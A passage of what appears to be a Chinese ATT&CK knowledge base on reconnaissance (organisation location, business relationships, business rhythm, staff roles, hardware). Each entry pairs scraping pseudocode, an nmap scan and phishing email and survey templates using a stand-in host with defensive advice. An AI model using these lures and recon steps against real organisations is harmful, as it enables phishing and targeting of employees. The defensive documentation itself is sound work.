`https://example.com/news`),查找安全设备采购或部署信息。 - 使用伪造邮件或调查问卷诱导员工泄露安全设备信息。 - 使用 Nmap 扫描:`nmap -sV -p 80,443,8080 192.168.1.10`。 - 使用红队工具(如蜜罐识别插件)扫描目标网站。 3. **预期结果**:返回网络安全设备信息(如 `Cisco ASA 5525-X Firewall`, `T-Pot Honeypot`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /news HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 网络安全设备调查, URL: http://fake-survey.com ``` - **网络流量日志**(扫描场景): ``` TCP 443, Source: 203.0.113.1, Request: HEAD / HTTP/1.0 ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、采购公告或社交媒体泄露网络安全设备的型号或版本信息。 - 对采购信息进行模糊化处理(如避免提及具体设备型号)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露网络安全设备信息。 - 指导员工在社交媒体限制与安全设备相关的细节分享。 3. **主动 OSINT 评估**: - 使用公开数据源(如企查查、Crunchbase)模拟攻击者行为,评估安全设备信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的设备信息。 4. **网络安全配置**: - 使用防火墙限制对敏感端口(如 443、8080)的外部扫描。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫或扫描行为。 - 配置蜜罐以误导攻击者,保护真实安全设备。 5. **设备安全管理**: - 定期更新防火墙、NIDS 和代理设备的固件,修复已知漏洞。 - 隐藏设备 Banner 信息,减少扫描暴露的风险。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用安全设备信息的钓鱼邮件。 - **漏洞利用(T1190)**: - 关注针对防火墙或 NIDS 漏洞的攻击。 - **供应链攻击(T1195)**: - 关注异常的安全设备供应商通信。 - **外部远程服务(T1133)**: - 关注利用设备信息的远程访问尝试。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织网络安全设备的扫描或漏洞利用预警。 - 监控暗网或 Pastebin,识别泄露的防火墙或 NIDS 信息。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK: T1590-006 - 红队必备:WEB 蜜罐识别阻断插件 ================================================ FILE: Windows/01侦察/T1591.001-收集目标组织信息-确定物理位置.md ================================================ # T1591-001-收集目标组织信息-确定物理位置 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的物理位置信息(T1591.001)。这些信息可用于目标定位、了解组织运营环境或指导后续攻击活动(如钓鱼攻击 T1566、信任关系利用 T1199 或物理入侵 T1200)。物理位置信息通常包括组织的分支机构地址、部门/分部的地理位置、办公楼的具体位置,以及关键设施(如数据中心)的详细信息。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集物理位置信息的动机包括: - **物理入侵准备**:通过获取办公地点或数据中心地址,规划未经授权的物理访问。 - **精准社交工程**:利用物理位置信息定制钓鱼邮件或伪装成本地服务提供商。 - **供应链或信任关系攻击**:结合物理位置信息,识别供应链中的本地供应商或合作伙伴。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部物理位置信息收集方法,聚焦于公开数据源和社交工程,特别包括受害者的个人社交信息(如微博、微信、QQ)以及通过官方网站获取的组织位置信息。 #### 测试案例 1:通过社交媒体收集物理位置信息 **关联技术**:T1591.001(物理位置信息收集) **说明**: - 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台,收集员工分享的办公地点或签到信息。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.weibo.com/example-org" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取物理位置相关信息 location_info = [post.text for post in soup.find_all(text=lambda t: "office" in t.lower() or "check-in" in t.lower())] print(location_info) ``` **输出示例**: ``` Post: "Checked in at Example Corp HQ, 123 Tech Street, Beijing." Physical Location: 123 Tech Street, Beijing ``` **说明**: - 员工可能在社交媒体分享办公地点或签到信息。 - 关联 T1591.001:通过社交媒体获取物理位置信息。 #### 测试案例 2:通过公司官网收集物理位置信息 **关联技术**:T1591.001(物理位置信息收集) **说明**: - 攻击者通过公司官网的“联系我们”或“关于我们”页面,提取组织的分支机构地址或办公地点信息。 **示例操作**: ```bash # 访问公司官网的联系页面 curl https://example.com/contact ``` **输出示例**: ``` Page Content: "Visit us at our headquarters: 123 Tech Street, Beijing, China." Physical Location: 123 Tech Street, Beijing, China ``` **说明**: - 公司官网可能公开分支机构或办公地点信息。 - 关联 T1591.001:通过官网获取物理位置信息。 #### 测试案例 3:钓鱼收集物理位置信息 **关联技术**:T1591.001(物理位置信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露办公地点或设施地址信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 办公室地址确认 Body: 请提供您所在办公室的地址以协助物流安排:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
办公室地址: 分支机构:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 office_address=123 Tech Street, Beijing&branch=Shanghai Office, 456 Innovation Road ``` **说明**: - 钓鱼攻击可直接收集物理位置信息,为物理入侵或精准社交工程提供基础。 - 关联 T1591.001:通过钓鱼获取物理位置信息。 #### 测试案例 4:通过公开数据源收集物理位置信息 **关联技术**:T1591.001(物理位置信息收集) **说明**: - 攻击者通过公开数据源(如 Google Maps、企查查、Crunchbase)或在线地图查询目标组织的办公地点或设施地址。 **示例操作**: ```bash # 在 Google Maps 查询公司地址 curl https://maps.google.com?q=Example+Corp # 或在企查查查询公司注册地址 ``` **输出示例**: ``` Organization: Example Corp Physical Location: 123 Tech Street, Beijing, China ``` **说明**: - 公开数据源或在线地图可能暴露组织的分支机构或办公地址。 - 关联 T1591.001:通过公开数据源获取物理位置信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 搜索目标组织的社交媒体(如微博、LinkedIn),提取物理位置相关关键词(如“office”、“check-in”)。 - 访问公司官网(如 `https://example.com/contact`),查找分支机构或办公地址。 - 使用伪造邮件或调查问卷诱导员工泄露办公地点信息。 - 查询公开数据源(如 Google Maps、企查查),提取公司地址信息。 3. **预期结果**:返回物理位置信息(如 `123 Tech Street, Beijing`, `Shanghai Office, 456 Innovation Road`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /contact HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 办公室地址确认, URL: http://fake-survey.com ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、社交媒体或新闻发布中泄露分支机构或办公地点的详细地址。 - 对公开信息进行模糊化处理(如使用通用联系地址而非具体办公地址)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露办公地点或设施信息。 - 指导员工在社交媒体(如微博、微信)限制签到或位置相关信息的分享。 3. **主动 OSINT 评估**: - 使用 Google Maps、企查查或 LinkedIn 模拟攻击者行为,评估公开物理位置信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的办公地址信息。 4. **物理安全管理**: - 实施严格的物理访问控制,防止未经授权的进入。 - 限制办公地点在公开地图或数据源中的暴露(如请求 Google Maps 模糊化办公楼街景)。 5. **网络安全配置**: - 使用防火墙限制对公司官网敏感页面的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用物理位置信息的钓鱼邮件。 - **信任关系利用(T1199)**: - 关注伪装成本地服务提供商的攻击行为。 - **物理入侵(T1200)**: - 关注基于办公地址的未经授权访问。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织物理位置的社交工程或物理入侵预警。 - 监控暗网或 Pastebin,识别泄露的办公地址或设施信息。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK: T1591-001 ================================================ FILE: Windows/01侦察/T1591.002-收集目标组织信息-业务关系.md ================================================ # T1591-002-收集目标组织信息-业务关系 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务关系的信息(T1591.002)。这些信息可用于目标定位、了解组织的网络访问权限或指导后续攻击活动(如供应链攻击 T1195、钓鱼攻击 T1566、信任关系利用 T1199 或路过式下载 T1189)。业务关系信息通常包括与目标组织有连接的第二或第三方组织/域(如托管服务提供商、承包商、母子公司),以及硬件和软件资源的供应链和运送路径。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集业务关系信息的动机包括: - **供应链攻击**:识别母子公司、供应商或承包商,寻找可利用的弱点。 - **信任关系利用**:利用业务关系中的信任网络(如托管服务提供商),实现初始访问。 - **精准社交工程**:通过了解业务关系,定制钓鱼邮件或伪装成合作伙伴。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部业务关系信息收集方法,聚焦于公开数据源和社交工程,特别包括受害者的个人社交信息(如微博、微信、QQ)以及上下游关系(如母子公司、供应商)。 #### 测试案例 1:通过社交媒体收集业务关系信息 **关联技术**:T1591.002(业务关系信息收集) **说明**: - 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台,收集目标组织员工分享的业务关系信息,如合作伙伴或供应商名称。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.weibo.com/example-org" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取业务关系相关信息 relationship_info = [post.text for post in soup.find_all(text=lambda t: "partner" in t.lower() or "supplier" in t.lower())] print(relationship_info) ``` **输出示例**: ``` Post: "Excited to partner with CloudTech for our new cloud infrastructure!" Business Relationship: Partner - CloudTech ``` **说明**: - 员工或公司在社交媒体(如微博、LinkedIn)可能分享与合作伙伴或供应商的相关信息。 - 关联 T1591.002:通过社交媒体获取业务关系信息。 #### 测试案例 2:通过公司官网收集业务关系信息 **关联技术**:T1591.002(业务关系信息收集) **说明**: - 攻击者通过公司官网的“合作伙伴”或“关于我们”页面,提取业务关系信息,如母子公司或供应商名称。 **示例操作**: ```bash # 访问公司官网的合作伙伴页面 curl https://example.com/partners ``` **输出示例**: ``` Page Content: "Example Corp is a subsidiary of GlobalTech Inc. and works with SupplyChain Ltd. for hardware procurement." Business Relationship: Subsidiary - GlobalTech Inc., Supplier - SupplyChain Ltd. ``` **说明**: - 公司官网可能公开母子公司或供应商信息。 - 关联 T1591.002:通过官网获取业务关系信息。 #### 测试案例 3:钓鱼收集业务关系信息 **关联技术**:T1591.002(业务关系信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露业务关系信息,如供应商、承包商或母子公司名称。 **示例操作**: - 发送伪造邮件: ``` Subject: 供应商合作调查 Body: 请提供您公司的主要供应商或合作伙伴名称:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
供应商名称: 合作伙伴名称:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 supplier=SupplyChain Ltd.&partner=CloudTech ``` **说明**: - 钓鱼攻击可直接收集业务关系信息,为供应链攻击或信任关系利用提供基础。 - 关联 T1591.002:通过钓鱼获取业务关系信息。 #### 测试案例 4:查询公开数据源收集业务关系信息 **关联技术**:T1591.002(业务关系信息收集) **说明**: - 攻击者通过公开数据源(如 Crunchbase、ZoomInfo 或企查查)查询目标组织的母子公司、供应商或合作伙伴信息。 **示例操作**: ```bash # 在 Crunchbase 查询公司信息 curl https://www.crunchbase.com/organization/example-corp ``` **输出示例**: ``` Organization: example.com Parent Company: GlobalTech Inc. Partners: CloudTech, SupplyChain Ltd. ``` **说明**: - 公开数据源可能暴露母子公司或合作伙伴信息。 - 关联 T1591.002:通过公开数据源获取业务关系信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 搜索目标组织的社交媒体(如微博、LinkedIn),提取业务关系相关关键词(如“partner”、“supplier”)。 - 访问公司官网(如 `https://example.com/partners`),查找母子公司或供应商信息。 - 使用伪造邮件或调查问卷诱导员工泄露业务关系信息。 - 查询公开数据源(如 Crunchbase、企查查),提取公司关系信息。 3. **预期结果**:返回业务关系信息(如 `Parent Company: GlobalTech Inc.`, `Supplier: SupplyChain Ltd.`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /partners HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 供应商合作调查, URL: http://fake-survey.com ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、社交媒体或新闻发布中泄露母子公司、供应商或合作伙伴的详细信息。 - 对业务关系信息进行模糊化处理(如避免提及具体供应商名称)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露业务关系信息。 - 指导员工在社交媒体(如微博、LinkedIn)限制与业务关系相关的细节分享。 3. **主动 OSINT 评估**: - 使用 Crunchbase、ZoomInfo 或企查查模拟攻击者行为,评估公开业务关系信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的供应商或合作伙伴信息。 4. **供应链安全管理**: - 审查供应商和合作伙伴的信息披露政策,减少敏感信息泄露。 - 实施供应链安全审计,确保第三方组织的安全性。 5. **网络安全配置**: - 使用防火墙限制对公司官网敏感页面的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用业务关系信息的钓鱼邮件。 - **供应链攻击(T1195)**: - 关注异常的供应商或合作伙伴通信,结合业务关系信息。 - **信任关系利用(T1199)**: - 关注伪装成合作伙伴或母子公司的攻击行为。 - **路过式下载(T1189)**: - 关注利用业务关系发起的恶意链接或下载。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织业务关系的社交工程或供应链攻击预警。 - 监控暗网或 Pastebin,识别泄露的母子公司、供应商或合作伙伴信息。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK: T1591-002 ================================================ FILE: Windows/01侦察/T1591.003-收集目标组织信息-确定业务节奏.md ================================================ # T1591-003-收集受害者组织信息-确定业务节奏 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织业务节奏的信息(T1591.003)。这些信息可用于目标定位、了解组织运营模式或指导后续攻击活动(如供应链攻击 T1195、钓鱼攻击 T1566 或信任关系利用 T1199)。业务节奏信息通常包括每周工作时间/天数、硬件和软件资源的购买及运输时间/日期、员工上下班时间或办公场所的物理访问模式。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集业务节奏信息的动机包括: - **优化攻击时机**:通过了解工作时间或资源交付周期,选择最佳攻击窗口(如员工下班后的物理入侵)。 - **精准社交工程**:利用业务节奏信息(如上下班时间)定制钓鱼邮件或物理尾随策略。 - **供应链攻击**:识别硬件/软件采购周期,寻找供应链中的可利用弱点。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部业务节奏信息收集方法,聚焦于公开数据源和社交工程,特别包括观察员工上下班时间、车辆进入情况等信息,为后续物理入侵或社交工程提供帮助。 #### 测试案例 1:通过社交媒体收集业务节奏信息 **关联技术**:T1591.003(业务节奏信息收集) **说明**: - 攻击者通过 LinkedIn、Twitter 或公司官网的社交媒体账号,收集员工分享的工作时间、办公模式或资源交付信息。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取业务节奏相关信息 rhythm_info = [post.text for post in soup.find_all(text=lambda t: "work hours" in t.lower() or "delivery" in t.lower() or "shift" in t.lower())] print(rhythm_info) ``` **输出示例**: ``` Post: "Our team works 9 AM to 5 PM, with new server deliveries every Monday." Business Rhythm: 9 AM to 5 PM work hours, server deliveries on Mondays ``` **说明**: - 员工或公司可能在社交媒体分享工作时间或资源交付信息。 - 关联 T1591.003:通过社交媒体获取业务节奏信息。 #### 测试案例 2:通过公司官网收集业务节奏信息 **关联技术**:T1591.003(业务节奏信息收集) **说明**: - 攻击者通过公司官网的“关于我们”或“新闻”页面,提取业务节奏信息,如办公时间、采购周期或物流安排。 **示例操作**: ```bash # 访问公司官网的新闻页面 curl https://example.com/news ``` **输出示例**: ``` Page Content: "Our office operates from 8 AM to 6 PM, with weekly hardware shipments arriving on Fridays." Business Rhythm: 8 AM to 6 PM work hours, hardware shipments on Fridays ``` **说明**: - 公司官网可能公开运营时间或供应链信息。 - 关联 T1591.003:通过官网获取业务节奏信息。 #### 测试案例 3:钓鱼收集业务节奏信息 **关联技术**:T1591.003(业务节奏信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露工作时间、车辆进入情况或资源交付信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 员工工作时间调查 Body: 请提供您的工作时间、办公室地址及硬件交付频率:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
工作时间: 办公室地址: 硬件交付频率:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 work_hours=9 AM to 5 PM&office_address=123 Tech Street&delivery_frequency=Weekly on Mondays ``` **说明**: - 钓鱼攻击可直接收集业务节奏信息,为物理入侵或精准社交工程提供基础。 - 关联 T1591.003:通过钓鱼获取业务节奏信息。 #### 测试案例 4:通过公开数据源观察上下班时间 **关联技术**:T1591.003(业务节奏信息收集) **说明**: - 攻击者通过公开摄像头、社交媒体或在线地图(如 Google Maps 街景)观察目标组织的上下班时间或车辆进入情况。 **示例操作**: - 搜索目标组织的办公地点街景,分析员工上下班时间或车辆进入模式。 - 示例 Google Maps 街景观察: ``` Location: 123 Tech Street, observed employee vehicles entering at 8:30 AM and leaving at 5:30 PM. ``` **输出示例**: ``` Location: 123 Tech Street Business Rhythm: Employees enter at 8:30 AM, leave at 5:30 PM ``` **说明**: - 公开摄像头或街景数据可暴露员工上下班时间,为物理入侵提供情报。 - 关联 T1591.003:通过公开数据源获取业务节奏信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 搜索目标组织的社交媒体(如 LinkedIn、Twitter)或官网,提取业务节奏相关关键词(如“work hours”、“delivery”)。 - 访问 Google Maps 街景,观察办公地点员工上下班时间或车辆进入情况。 - 使用伪造邮件或调查问卷诱导员工泄露工作时间或交付信息。 3. **预期结果**:返回业务节奏信息(如 `9 AM to 5 PM work hours`, `Weekly hardware deliveries on Mondays`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /news HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 员工工作时间调查, URL: http://fake-survey.com ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、社交媒体或新闻发布中泄露工作时间、采购周期或物流安排。 - 对公开信息进行模糊化处理(如避免提及具体工作时间或交付日期)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露工作时间或办公地点信息。 - 指导员工在社交媒体限制与业务节奏相关的细节分享(如避免提及上下班时间)。 3. **主动 OSINT 评估**: - 使用 Google Maps、LinkedIn 或 Twitter 模拟攻击者行为,评估公开业务节奏信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的工作时间或交付信息。 4. **物理安全管理**: - 限制办公地点的公开摄像头暴露(如调整摄像头角度或禁用公共访问)。 - 实施物理访问控制,防止尾随或未经授权的车辆进入。 5. **网络安全配置**: - 使用防火墙限制对公司官网敏感页面的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用业务节奏信息的钓鱼邮件。 - **供应链攻击(T1195)**: - 关注异常的硬件或软件供应链请求,结合采购周期信息。 - **信任关系利用(T1199)**: - 关注基于业务节奏的信任关系攻击,如伪装供应商。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织业务节奏的社交工程或物理入侵预警。 - 监控暗网或 Pastebin,识别泄露的工作时间、交付周期或办公地点信息。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK: T1591-003 ================================================ FILE: Windows/01侦察/T1591.004-收集目标组织信息-确定角色.md ================================================ # T1591-004-收集目标组织信息-确定角色 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织内的身份和角色信息(T1591.004)。这些信息可用于目标定位、了解关键人员的职责或指导后续攻击活动(如钓鱼攻击 T1566、建立帐户 T1133 或入侵帐户 T1078)。角色信息通常包括关键人员的身份(如姓名、职位)、职责范围以及他们可以访问的数据或资源。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集角色信息的动机包括: - **精准社交工程**:通过识别运维人员、网络管理员或高管,实施针对性的钓鱼或账号爆破攻击。 - **资源访问推测**:了解角色职责,推断其访问权限,为后续攻击(如凭据窃取)提供情报。 - **初始访问**:利用角色信息发送定制化的钓鱼邮件,诱导目标泄露凭据或点击恶意链接。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部角色信息收集方法,聚焦于公开数据源和社交工程,特别包括运维人员和网络管理员的信息收集,以支持精准社交工程、账号密码爆破或钓鱼攻击。 #### 测试案例 1:通过职位发布收集角色信息 **关联技术**:T1591.004(角色信息收集) **说明**: - 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取关键角色信息,如运维工程师或网络管理员的姓名、职责或联系方式。 **示例操作**: - 搜索目标组织的职位发布,关键词包括“运维”、“网络管理员”、“IT 经理”或“系统工程师”。 - 示例职位描述: ``` 招聘运维工程师,负责管理 AWS 云基础设施,联系人:张伟 (wei.zhang@example.com)。 ``` **输出示例**: ``` Organization: example.com Role: 运维工程师 Name: 张伟 Email: wei.zhang@example.com Responsibilities: AWS 云基础设施管理 ``` **说明**: - 职位发布可能泄露关键角色的姓名、联系方式或职责。 - 关联 T1591.004:通过公开招聘信息收集角色数据。 #### 测试案例 2:社交媒体爬取角色信息 **关联技术**:T1591.004(角色信息收集) **说明**: - 攻击者通过 LinkedIn、Twitter 或技术论坛(如 CSDN、Reddit)收集员工分享的角色信息,如运维或网络管理员的职位和职责。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取角色相关信息 role_info = [post.text for post in soup.find_all(text=lambda t: "admin" in t.lower() or "operations" in t.lower())] print(role_info) ``` **输出示例**: ``` Post: "Our network admin, Li Mei, upgraded our Cisco switches last week." Role: Network Administrator Name: Li Mei Responsibilities: Cisco switch management ``` **说明**: - 员工可能在社交媒体分享角色或职责信息。 - 关联 T1591.004:通过社交媒体获取角色信息。 #### 测试案例 3:钓鱼收集角色信息 **关联技术**:T1591.004(角色信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露角色信息,如职位、职责或联系方式。 **示例操作**: - 发送伪造邮件: ``` Subject: IT 部门问卷调查 Body: 请提供您的职位、姓名和主要职责以协助技术支持:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
职位: 姓名: 职责:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 role=Network Administrator&name=Li Mei&responsibilities=Manage Cisco switches ``` **说明**: - 钓鱼攻击可直接收集角色信息,为精准社交工程或账号爆破提供基础。 - 关联 T1591.004:通过钓鱼获取角色信息。 #### 测试案例 4:查询公开技术数据库或公司官网 **关联技术**:T1591.004(角色信息收集) **说明**: - 攻击者通过公司官网、社交媒体或公开数据库(如 Crunchbase、ZoomInfo)查询目标组织的员工角色信息。 **示例操作**: ```bash # 访问公司官网的“关于我们”页面 curl https://example.com/about # 或在 LinkedIn 查询公司员工 ``` **输出示例**: ``` Organization: example.com Role: IT Manager Name: Wang Tao Email: tao.wang@example.com ``` **说明**: - 公司官网或公开数据库可能暴露员工的姓名、职位或联系方式。 - 关联 T1591.004:通过公开数据源获取角色信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 搜索目标组织的职位发布或社交媒体,提取角色相关关键词(如“运维”、“网络管理员”)。 - 访问公司官网(如 `https://example.com/about`)或 LinkedIn,查找员工信息。 - 使用伪造邮件或调查问卷诱导员工泄露角色信息。 3. **预期结果**:返回关键角色的姓名、职位或职责信息(如 `Network Administrator, Li Mei, Manage Cisco switches`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /about HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: IT 部门问卷调查, URL: http://fake-survey.com ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、职位发布或社交媒体泄露关键人员的姓名、职位或职责信息。 - 对员工信息进行模糊化处理(如在官网使用通用联系邮箱而非个人邮箱)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露角色或职责信息。 - 指导员工在社交媒体限制工作相关细节的分享(如避免提及职位或职责)。 3. **主动 OSINT 评估**: - 使用 LinkedIn、Crunchbase 或 ZoomInfo 模拟攻击者行为,评估公开角色信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的员工信息。 4. **网络安全配置**: - 使用防火墙限制对公司官网敏感页面的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。 5. **组织信息管理**: - 限制员工在公开场合(如技术论坛)分享角色或职责信息。 - 建立信息发布审查机制,确保职位描述不泄露敏感细节。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用角色信息的钓鱼邮件。 - **账号入侵(T1078)**: - 关注针对关键角色(如运维、网络管理员)的账号爆破或凭据窃取。 - **建立帐户(T1133)**: - 关注异常的外部帐户创建或访问尝试。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织关键角色的社交工程或钓鱼攻击预警。 - 监控暗网或 Pastebin,识别泄露的员工姓名、职位或职责信息。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK:T1591-004 ================================================ FILE: Windows/01侦察/T1592.001-收集目标组织主机信息-硬件信息.md ================================================ # T1592-001-收集目标组织主机信息-硬件信息 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机硬件的信息(T1592.001)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T1195、漏洞利用 T1190 或硬件添加 T1200)。硬件信息通常包括主机上硬件的类型、型号、版本,以及是否存在可能指示附加防御措施的组件(如智能卡、生物识别器、专用加密硬件等)。由于这些活动通常在目标组织的视野之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集硬件信息的动机包括: - **推测主机配置**:通过硬件型号或版本推断系统用途、操作系统或安全状态,为漏洞利用提供情报。 - **定制攻击向量**:利用硬件信息开发针对特定设备的恶意代码或供应链攻击。 - **供应链攻击**:识别供应链中使用的硬件型号,寻找可利用的弱点。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部硬件信息收集方法,聚焦于公开数据源、社交工程和主动扫描,特别包括摄像头型号和其他物联网设备信息。 #### 测试案例 1:通过职位发布收集硬件信息 **关联技术**:T1592.001(硬件信息收集) **说明**: - 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取与硬件相关的信息,如服务器型号、摄像头型号或物联网设备。 **示例操作**: - 搜索目标组织的职位发布,关键词包括“硬件”、“服务器”、“摄像头”或“物联网”。 - 示例职位描述: ``` 招聘物联网工程师,需熟悉 Hikvision DS-2CD2143G0-I 摄像头和 Dell PowerEdge R740 服务器。 ``` **输出示例**: ``` Organization: example.com Hardware: Hikvision DS-2CD2143G0-I Camera, Dell PowerEdge R740 Server ``` **说明**: - 职位发布可能泄露硬件型号或物联网设备信息。 - 关联 T1592.001:通过公开招聘信息收集硬件数据。 #### 测试案例 2:社交媒体爬取硬件信息 **关联技术**:T1592.001(硬件信息收集) **说明**: - 攻击者通过 LinkedIn、Twitter 或技术论坛(如 Reddit、CSDN)收集员工分享的硬件相关信息,如摄像头或服务器型号。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取硬件相关信息 hardware_info = [post.text for post in soup.find_all(text=lambda t: "hardware" in t.lower() or "camera" in t.lower() or "server" in t.lower())] print(hardware_info) ``` **输出示例**: ``` Post: "Deployed new Hikvision DS-2CD2143G0-I cameras for office security." Hardware: Hikvision DS-2CD2143G0-I Camera ``` **说明**: - 员工可能在社交媒体分享硬件部署或配置信息。 - 关联 T1592.001:通过社交媒体获取硬件信息。 #### 测试案例 3:钓鱼收集硬件信息 